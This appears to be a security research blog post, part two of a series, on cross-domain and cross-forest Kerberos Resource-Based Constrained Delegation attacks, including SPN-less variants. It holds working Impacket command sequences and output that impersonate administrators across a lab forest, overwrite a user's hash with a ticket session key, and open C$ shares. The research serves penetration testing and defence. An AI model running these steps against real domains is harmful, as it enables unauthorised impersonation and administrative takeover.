Exploring cross-domain & cross-forest RBCD: part 2

Introduction

Following our publication on Resource-Based Constrained Delegation (RBCD) attacks in cross-domain and cross-forest environments, we sought to further extend the capabilities of this technique.

To this end, we investigated delegation scenarios within environments comprising multiple domains (three or more). This research revealed that, due to the default transitive parent-child trust relationship, it is possible to impersonate any user within a forest, regardless of whether the target resource resides within the same forest or a remote one, provided that an appropriate trust relationship exists between them.

We also examined SPN-less RBCD attacks in multi-domain scenarios. In theory, if the ticket obtained through an S4U2Self+U2U request contains the forwardable flag and the user's NT hash is replaced with the RC4-HMAC session key used to encrypt the ticket, it should subsequently be accepted during the S4U2Proxy stage.

Recursive S4U2Self[+U2U] implementation

As described in Microsoft's documentation, 4.2 S4U2self Multiple Realm Example, multi-domain S4U2Self delegation consists of a chain of S4U2Self requests, beginning in the domain of the user whose identity is to be impersonated and progressing towards the domain of the user performing the delegation request, following the trust path established between the domain controllers: “If there are more TGSs involved in the referral chain, steps 3 and 4 will be repeated to follow the chain”.

As a reminder, in a cross-forest scenario it is only possible to impersonate a user belonging to our own forest (see the cross-forest RBCD case in the previous article). Consequently, in any case, S4U2Self delegation always traverses the domains of our own forest.

To validate the protocol exchanges, we deployed an environment consisting of four parent-child domains:

• frperso.local
• sub.frperso.local
• minus.sub.frperso.local
• lowest.minus.sub.frperso.local

Using System.IdentityModel on Windows, the machine account frperso-02$.frperso.local, running under NT AUTHORITY\SYSTEM, requests the impersonation of Administrator@lowest.minus.sub.frperso.local:

PS C:\Windows\system32> whoami
nt authority\system
PS C:\Windows\system32> $Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')
PS C:\Windows\system32> $Identity = New-Object System.Security.Principal.WindowsIdentity @('Administrator@lowest.minus.sub.frperso.local')
PS C:\Windows\system32>

Regarding the Wireshark analysis, the following notable traffic was observed:

As can be observed, S4U2Self is executed solely with the domain of the user we wish to impersonate (1) and our own domain (4). In the interim, standard TGS-REQ requests (2 and 3) are made using the krbtgt SPN to the domain of the user requesting the delegation (krbtgt/FRPERSO.LOCAL).

To summarise, we observe the following scenarios:

• Single domain: S4U2Self to this domain.
• Two domains: S4U2Self to the target domain, followed by S4U2Self to our own domain (the scenario presented in the previous article).
• Three or more domains: S4U2Self to the target domain, TGS-REQs with the domains in the trust chain, and finally S4U2Self to our own domain.

In each instance, the previously obtained ticket serves as the TGT for subsequent requests, carrying the identity of the impersonated user within its PAC.

Let us now turn our attention to the S4U2Self+U2U scenario. As a reminder, this type of request is a prerequisite for executing an SPN-less RBCD attack. Indeed, if we only use S4U2Self recursively, the final request to our domain will result in a KDC_ERR_S_PRINCIPAL_UNKNOWN error, as the user lacks an SPN.

Consequently, when the user Administrator@frperso.local requests to impersonate Administrator@lowest.minus.sub.frperso.local, the following requests are generated:

The exchanges are therefore identical to S4U2Self without U2U, up until the KDC_ERR_S_PRINCIPAL_UNKNOWN error is encountered (response to request 4). This enables the client to identify that the user requesting delegation lacks an SPN, prompting it to reissue the S4U2Self request with U2U (5).

Following an analysis of the various scenarios, we have established the following diagram illustrating recursive S4U2Self[+U2U] exchanges:

These exchanges have been implemented here. Consequently, we are capable of impersonating any user within our forest to ourselves.

This can be useful, for example, if we possess a machine account and the user with administrative privileges over it belongs to another domain (local privilege escalation). Suppose that we have a TGT for the machine account min-frperso-01$.minus.sub.frperso.local and the only administrator authorised to log in to it is Administrator@frperso.local, we can obtain administrative access to its network share using the following new commands:

$ KRB5CCNAME=MIN-FRPERSO-01\$.ccache getST.py 'minus.sub.frperso.local/MIN-FRPERSO-01$' -k -no-pass -impersonate Administrator@frperso.local -self -altservice cifs/min-frperso-01.minus.sub.frperso.local
Impacket v0.14.0.dev0+20260324.93502.a46a4bd8 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting TGS-REQ for krbtgt/FRPERSO.LOCAL to MINUS.SUB.FRPERSO.LOCAL
[*] Requesting S4U2self to FRPERSO.LOCAL
[*] Requesting S4U2self to SUB.FRPERSO.LOCAL
[*] Requesting S4U2self to MINUS.SUB.FRPERSO.LOCAL
[*] Changing service from MIN-FRPERSO-01$@MINUS.SUB.FRPERSO.LOCAL@MINUS.SUB.FRPERSO.LOCAL to cifs/min-frperso-01.minus.sub.frperso.local@MINUS.SUB.FRPERSO.LOCAL
[*] Saving ticket in Administrator@frperso.local@cifs_min-frperso-01.minus.sub.frperso.local@MINUS.SUB.FRPERSO.LOCAL.ccache

$ KRB5CCNAME=Administrator@frperso.local@cifs_min-frperso-01.minus.sub.frperso.local@MINUS.SUB.FRPERSO.LOCAL.ccache smbclient.py frperso.local/Administrator@min-frperso-01.minus.sub.frperso.local -k -no-pass
Impacket v0.14.0.dev0+20260324.93502.a46a4bd8 - Copyright Fortra, LLC and its affiliated companies 

Type help for list of commands
# use C$
#

If we possess the password for the machine account, it is obviously possible to forge a ticket with an arbitrary identity to escalate our privileges. However, when holding only a TGT, this method might be the sole available exploitation vector.

Obtaining a ticket via S4U2Self+U2U can be achieved using the following command (Administrator@frperso.local requesting to impersonate Administrator@minus.sub.frperso.local):

$ getST.py 'frperso.local/Administrator:***' -impersonate Administrator@minus.sub.frperso.local -self -u2u       
Impacket v0.14.0.dev0+20260324.93502.a46a4bd8 - Copyright Fortra, LLC and its affiliated companies 

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Saving ticket in Administrator.ccache
[*] Requesting TGS-REQ for krbtgt/MINUS.SUB.FRPERSO.LOCAL to FRPERSO.LOCAL
[*] Requesting S4U2self to MINUS.SUB.FRPERSO.LOCAL
[*] Requesting TGS-REQ for krbtgt/FRPERSO.LOCAL to SUB.FRPERSO.LOCAL
[*] Requesting S4U2self+U2U to FRPERSO.LOCAL
[*] Saving ticket in Administrator@minus.sub.frperso.local@Administrator@FRPERSO.LOCAL@FRPERSO.LOCAL.ccache

We shall now examine the second stage of the RBCD attack chain, namely S4U2Proxy.

Recursive S4U2Proxy implementation

As we observed with two domains in the previous article, the S4U2Proxy algorithm differs by utilizing the branch-aware flag as soon as the trusted domain belongs to a different forest. We have therefore set up an environment composed of two forests: frperso.local, along with its child domains as seen previously, and frpublic.local, both sharing a bidirectional trust relationship:

• frpublic.local
• frperso.local
• sub.frperso.local
• minus.sub.frperso.local

The use of a third forest is irrelevant, given that trust relationships between forests are non-transitive. Indeed, a user from the first forest would not be authorised to access resources in the third forest unless a direct trust relationship were established between them, which would simply return us to our initial scenario.

Let us begin with the machine account frpublic-02$.frpublic.local, running as NT AUTHORITY\SYSTEM, which aims to access a network share on the min-frperso-01$.minus.sub.frperso.local machine. The account is authorised to impersonate any user within its forest (frpublic.local) when accessing this resource (the msDS-AllowedToActOnBehalfOfOtherIdentity attribute is configured on the min-frperso-01$.minus.sub.frperso.local machine account in the LDAP directory with the SID of frpublic-02$). We have added the Administrator@frpublic.local user to the Administrators group of the machine min-frperso-01$.minus.sub.frperso.local, and this is the account whose identity will be impersonated.

PS C:\Windows\system32> whoami
nt authority\system
PS C:\Windows\system32> $Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')
PS C:\Windows\system32> $Identity = New-Object System.Security.Principal.WindowsIdentity @('Administrator@frpublic.local')
PS C:\Windows\system32> $Context = $Identity.Impersonate()
PS C:\Windows\system32> ls \\min-frperso-01.minus.sub.frperso.local\C$

We are intentionally bypassing the S4U2Self exchanges, as these have already been covered. Thus, the subsequent requests are as follows:

As seen in the previous article, the exchanges begin with an S4U2Proxy request to our domain controller (1), containing the additional ticket obtained via S4U2Self[+U2U] in the request body. This is follows by an S4U2Proxy request, still to our domain controller, with the branch-aware flag enabled and without an additional ticket (2).

This is followed by requests alternating between TGS-REQ and S4U2Proxy up to the target resource's domain, using the previously obtained ticket as a TGT (3, 4, and 5). We observed that these steps allow us to obtain the inter-domain ticket (response to request 4), which will be used as a TGT during the very final S4U2Proxy request (8). We can refer to this as the Referral TGT.

Prior to this, several S4U2Proxy exchanges are performed once again (6 and 7), following the trust chain down to the domain preceding the target resource (from frperso.local to sub.frperso.local). Furthermore, these requests are made using a krbtgt SPN for the target resource's domain (krbtgt/MINUS.SUB.FRPERSO.LOCAL).

The last ticket obtained (response to request 7) is used as the additional ticket for the final S4U2Proxy request to the target resource's domain (8). As explained previously, the TGT used for this request (8) is the Referral TGT.

Putting it all together, this results in the following diagram:

To simplify, we observe the following scenarios:

• Single domain: S4U2Proxy to this domain.
• Two domains: S4U2Proxy + branch-aware S4U2Proxy to our domain, followed by S4U2Proxy to the target domain (the scenario presented in the previous article).
• Three or more domains: S4U2Proxy + branch-aware S4U2Proxy to our domain, a sequence of TGS-REQs and S4U2Proxy requests following the trust chain to the target domain (retrieving the Referral TGT), a sequence of S4U2Proxy requests following the trust chain (retrieving the additional ticket), and a final S4U2Proxy to the target domain.

Let us finally look at the last case: cross-domain S4U2Proxy. In this scenario, we will also attempt to traverse a forest (frpublic.local) at the end of the chain to determine whether this impacts the algorithm used (branch-aware or otherwise). Consequently, the machine account min-frperso-01$.minus.sub.frperso.local, running via NT AUTHORITY\SYSTEM, requests to impersonate Administrator@frperso.local (as a reminder, we can impersonate any user within our forest) to access the network share of frpublic-01$.frpublic.local. Delegation rights via msDS-AllowedToActOnBehalfOfOtherIdentity have once again been configured accordingly, and the user Administrator@frperso.local has been added to the Administrators group of the machine frpublic-01$.

The following requests were identified:

The first observation is that the branch-aware algorithm is not used at all, meaning that traversing a domain in another forest does not trigger its use, provided that this domain is not the first in the trust chain.

To summarise, this involves a sequence of S4U2Proxy requests following the trust chain down to the target resource's domain (1, 3, 5, and 7). The S4U2Proxy request to our domain (1) uses the ticket obtained via S4U2Self[+U2U] as the additional ticket. The request to the target resource's domain (7) uses the ticket obtained via the previous S4U2Proxy request (5). The intermediate S4U2Proxy requests (3 and 5) do not use an additional ticket; they solely use the ticket obtained via the previous S4U2Proxy request as a TGT, alongside a krbtgt SPN for the target resource's domain (krbtgt/FRPUBLIC.LOCAL).

In parallel, standard TGS-REQ requests are executed (2, 4, and 6), using the ticket obtained via the previous TGS-REQ request (or an AS-REQ for request 2) as a TGT, along with a krbtgt SPN for the target resource's domain (krbtgt/FRPUBLIC.LOCAL).

Following an analysis of the various exchanges, the resulting diagram has been established:

These two algorithms have been recursively implemented within Impacket. Combined with S4U2Self[+U2U], they enable us to impersonate any user within our forest to access a resource located either inside our own forest or in a different one. Based on our testing, we observed that the non-branch-aware algorithm remained functional even when the first trusted domain traversed happened to be in another forest. Nevertheless, Microsoft's native implementation relies on the branch-aware variant, which should therefore be preferred if the goal is to mirror legitimate behaviour as closely as possible.

Regardless of which user in our forest holds administrative privileges over the remote resource, we are now capable of impersonating them, provided they are not protected against delegation (via the Protected Users group or the NOT_DELEGATED userAccountControl LDAP attribute – ⁣Account is sensitive and cannot be delegated option).

Let us test the two RBCD scenarios presented previously. Firstly, using the branch-aware algorithm (via Impacket's -forest option), frpublic-02$@frpublic.local requests to impersonate Administrator@frpublic.local to access the network share of the machine min-frperso-01$.minus.sub.frperso.local:

$ getST.py 'frpublic.local/frpublic-02$' -aesKey '***' -impersonate Administrator@frpublic.local -proxydomain minus.sub.frperso.local -spn cifs/min-frperso-01.minus.sub.frperso.local -forest
Impacket v0.14.0.dev0+20260324.93502.a46a4bd8 - Copyright Fortra, LLC and its affiliated companies 

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Saving ticket in frpublic-02$.ccache
[*] Requesting S4U2self to FRPUBLIC.LOCAL
[*] Using additional ticket
[*] Requesting S4U2Proxy to FRPUBLIC.LOCAL
[*] Requesting S4U2Proxy with branch-aware to FRPUBLIC.LOCAL
[*] Requesting TGS-REQ for cifs/min-frperso-01.minus.sub.frperso.local to FRPERSO.LOCAL
[*] Requesting S4U2Proxy to SUB.FRPERSO.LOCAL
[*] Requesting TGS-REQ for cifs/min-frperso-01.minus.sub.frperso.local to MINUS.SUB.FRPERSO.LOCAL
[*] Requesting S4U2Proxy to FRPERSO.LOCAL
[*] Requesting S4U2Proxy to SUB.FRPERSO.LOCAL
[*] Using additional ticket
[*] Requesting S4U2Proxy to MINUS.SUB.FRPERSO.LOCAL
[*] Saving ticket in Administrator@frpublic.local@cifs_min-frperso-01.minus.sub.frperso.local@MINUS.SUB.FRPERSO.LOCAL.ccache

$ KRB5CCNAME=Administrator@frpublic.local@cifs_min-frperso-01.minus.sub.frperso.local@MINUS.SUB.FRPERSO.LOCAL.ccache smbclient.py frpublic.local/Administrator@min-frperso-01.minus.sub.frperso.local -k -no-pass 
Impacket v0.14.0.dev0+20260324.93502.a46a4bd8 - Copyright Fortra, LLC and its affiliated companies 

Type help for list of commands
# use C$
#

Secondly, without the branch-aware algorithm, min-frperso-01$@minus.sub.frperso.local requests to impersonate Administrator@frperso.local to access the network share of the machine frpublic-01$.frpublic.local:

$  getST.py 'minus.sub.frperso.local/min-frperso-01$' -aesKey '***' -impersonate Administrator@frperso.local -proxydomain frpublic.local -spn cifs/frpublic-01.frpublic.local 
Impacket v0.14.0.dev0+20260324.93502.a46a4bd8 - Copyright Fortra, LLC and its affiliated companies 

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Saving ticket in min-frperso-01$.ccache
[*] Requesting TGS-REQ for krbtgt/FRPERSO.LOCAL to MINUS.SUB.FRPERSO.LOCAL
[*] Requesting S4U2self to FRPERSO.LOCAL
[*] Requesting S4U2self to SUB.FRPERSO.LOCAL
[*] Requesting S4U2self to MINUS.SUB.FRPERSO.LOCAL
[*] Using additional ticket
[*] Requesting S4U2Proxy to MINUS.SUB.FRPERSO.LOCAL
[*] Requesting TGS-REQ for krbtgt/FRPUBLIC.LOCAL to MINUS.SUB.FRPERSO.LOCAL
[*] Requesting S4U2Proxy to SUB.FRPERSO.LOCAL
[*] Requesting TGS-REQ for krbtgt/FRPUBLIC.LOCAL to SUB.FRPERSO.LOCAL
[*] Requesting S4U2Proxy to FRPERSO.LOCAL
[*] Requesting TGS-REQ for krbtgt/FRPUBLIC.LOCAL to FRPERSO.LOCAL
[*] Using additional ticket
[*] Requesting S4U2Proxy to FRPUBLIC.LOCAL
[*] Saving ticket in Administrator@frperso.local@cifs_frpublic-01.frpublic.local@FRPUBLIC.LOCAL.ccache

$ KRB5CCNAME=Administrator@frperso.local@cifs_frpublic-01.frpublic.local@FRPUBLIC.LOCAL.ccache smbclient.py frperso.local/Administrator@frpublic-01.frpublic.local -k -no-pass
Impacket v0.14.0.dev0+20260324.93502.a46a4bd8 - Copyright Fortra, LLC and its affiliated companies 

Type help for list of commands
# use C$
#

As previously indicated, both variants of the S4U2Proxy algorithm function regardless of whether the next domain in the trust chain belongs to a different forest. However, Microsoft's native implementation defaults to the branch-aware variant in this configuration.

SPN-less RBCD across multiple domains

Now that we have implemented S4U2Self+U2U and S4U2Proxy recursively and independently, we should be capable of seamlessly executing a cross-domain SPN-less RBCD attack, just as if it were being performed within a single domain.

To achieve this, using the user Administrator@sub.frperso.local, we will attempt to impersonate Administrator@frperso.local to access the network share on the machine frpublic-01$.frpublic.local. The Administrator@frperso.local account is present in the Administrators group of the machine frpublic-01$, and the SID of Administrator@sub.frperso.local has also been added to its msDS-AllowedToActOnBehalfOfOtherIdentity attribute.

As a reminder, it is crucial to force the domain controller to use the RC4-HMAC algorithm (type 23) for generating the session key. Within Impacket, this is handled by authenticating the user Administrator@sub.frperso.local via their NT hash.

Note 1: We observed on recent domain controllers (Windows Server 2022 and 2025) that they refused to return a service ticket whenever the RC4-HMAC algorithm was used (for encrypting both the TGT and the authenticator field), resulting in a KDC_ERR_ETYPE_NOSUPP error, even if AES support was declared in the request body. This is likely due to Microsoft progressively phasing out Kerberos support for RC4: Detect and remediate RC4 usage in Kerberos. In this scenario, executing an SPN-less RBCD attack appears to be impossible.

Note 2: Modifying the user's password by directly submitting a new NT hash (via SamrChangePasswordUser) does not update their Kerberos keys. Consequently, it becomes impossible to request a TGT or a service ticket for themselves (S4U2Self+U2U) via AES. Therefore, within the context of an SPN-less RBCD attack, it is preferable to perform S4U2Self+U2U before modifying the user's password.

We begin by retrieving a TGT and the delegation ticket via S4U2Self+U2U:

$ getST.py sub.frperso.local/Administrator -hashes ":d91***" -impersonate Administrator@frperso.local -self -u2u
Impacket v0.14.0.dev0+20260324.93502.a46a4bd8 - Copyright Fortra, LLC and its affiliated companies 

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Saving ticket in Administrator.ccache
[*] Requesting TGS-REQ for krbtgt/FRPERSO.LOCAL to SUB.FRPERSO.LOCAL
[*] Requesting S4U2self to FRPERSO.LOCAL
[*] Using additional ticket
[*] Requesting S4U2self+U2U to SUB.FRPERSO.LOCAL
[*] Saving ticket in Administrator@frperso.local@Administrator@SUB.FRPERSO.LOCAL@SUB.FRPERSO.LOCAL.ccache

We then retrieve the TGT session key:

$ describeTicket.py Administrator.ccache
Impacket v0.14.0.dev0+20260324.93502.a46a4bd8 - Copyright Fortra, LLC and its affiliated companies 

[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
[*] Ticket Session Key            : afa***
[*] User Name                     : Administrator
[*] User Realm                    : SUB.FRPERSO.LOCAL
[*] Service Name                  : krbtgt/SUB.FRPERSO.LOCAL
[*] Service Realm                 : SUB.FRPERSO.LOCAL
[...]
[*] KeyType                       : rc4_hmac
[...]

The delegation ticket is therefore encrypted with the session key afa***. The password for the user Administrator@sub.frperso.local is subsequently modified using this key with changepasswd.py:

$ changepasswd.py sub.frperso.local/Administrator@sub-frperso-01.sub.frperso.local -hashes ":d91***" -newhashes afa***
Impacket v0.14.0.dev0+20260324.93502.a46a4bd8 - Copyright Fortra, LLC and its affiliated companies 

[*] Changing the password of sub.frperso.local\Administrator
[*] Connecting to DCE/RPC as sub.frperso.local\Administrator
[*] Password was changed successfully.
[!] User might need to change their password at next logon because we set hashes (unless password never expires is set).

All that remains is to perform S4U2Proxy using the ticket obtained via S4U2Self+U2U as the additional ticket. Since the password for the user Administrator@sub.frperso.local has been modified, and the additional ticket carries the forwardable flag, it is accepted by the domain controller during the initial S4U2Proxy request. Ultimately, we obtain a service ticket to connect to the network share on frpublic-01$.frpublic.local:

$ describeTicket.py Administrator@frperso.local@Administrator@SUB.FRPERSO.LOCAL@SUB.FRPERSO.LOCAL.ccache --rc4 afa*** 
Impacket v0.14.0.dev0+20260324.93502.a46a4bd8 - Copyright Fortra, LLC and its affiliated companies 

[*] Number of credentials in cache: 1
[...]
[*] Flags                         : (0x40a10000) forwardable, renewable, pre_authent, enc_pa_rep
[...]
[*] Decoding unencrypted data in credential[0]['ticket']:
[*]   Service Name                : Administrator@SUB.FRPERSO.LOCAL
[*]   Service Realm               : SUB.FRPERSO.LOCAL
[*]   Encryption type             : rc4_hmac (etype 23)
[*] Decoding credential[0]['ticket']['enc-part']:
[...]
[*]   UpnDns                      
[*]     Flags                     : (2) S_SidSamSupplied
[*]     UPN                       : Administrator@FRPERSO.local
[*]     DNS Domain Name           : FRPERSO.LOCAL
[*]     SamAccountName            : Administrator
[*]     UserSid                   : S-1-5-21-3254739159-4020314205-3578832438-500

$ KRB5CCNAME=Administrator.ccache getST.py sub.frperso.local/Administrator -k -no-pass -impersonate Administrator@frperso.local -proxy -proxydomain frpublic.local -spn cifs/frpublic-01.frpublic.local -additional-ticket Administrator@frperso.local@Administrator@SUB.FRPERSO.LOCAL@SUB.FRPERSO.LOCAL.ccache
Impacket v0.14.0.dev0+20260324.93502.a46a4bd8 - Copyright Fortra, LLC and its affiliated companies 

[*] Using additional ticket
[*] Requesting S4U2Proxy to SUB.FRPERSO.LOCAL
[*] Requesting TGS-REQ for krbtgt/FRPUBLIC.LOCAL to SUB.FRPERSO.LOCAL
[*] Requesting S4U2Proxy to FRPERSO.LOCAL
[*] Requesting TGS-REQ for krbtgt/FRPUBLIC.LOCAL to FRPERSO.LOCAL
[*] Using additional ticket
[*] Requesting S4U2Proxy to FRPUBLIC.LOCAL
[*] Saving ticket in Administrator@frperso.local@cifs_frpublic-01.frpublic.local@FRPUBLIC.LOCAL.ccache

$ KRB5CCNAME=Administrator@frperso.local@cifs_frpublic-01.frpublic.local@FRPUBLIC.LOCAL.ccache smbclient.py frperso.local/Administrator@frpublic-01.frpublic.local -k -no-pass
Impacket v0.14.0.dev0+20260324.93502.a46a4bd8 - Copyright Fortra, LLC and its affiliated companies 

Type help for list of commands
# use C$
#

The branch-aware algorithm can be utilised in the same manner, by providing the ticket obtained via S4U2Self+U2U as the additional ticket for S4U2Proxy alongside the -forest option.

If the tool is not instructed to execute only S4U2Self (via the -self argument) or S4U2Proxy (via the -proxy argument), both steps are executed successively. Nevertheless, in the case of an SPN-less RBCD attack, it is necessary to execute the attack phases separately.

Conclusion

Following this research, we are now capable of exploiting Kerberos delegation regardless of which user within our forest holds administrative privileges over the target resource and whose identity we wish to impersonate.

Although such privileged users typically belong to the same domain, this type of configuration has already been encountered during our past engagements.

Finally, we successfully validated the execution of SPN-less RBCD across multiple domains, ultimately allowing us to seamlessly reproduce the same well-known attack vectors previously confined to a single domain. Consequently, the Linux-based tooling has been extended to ensure capability in exploiting these various Kerberos delegation scenarios.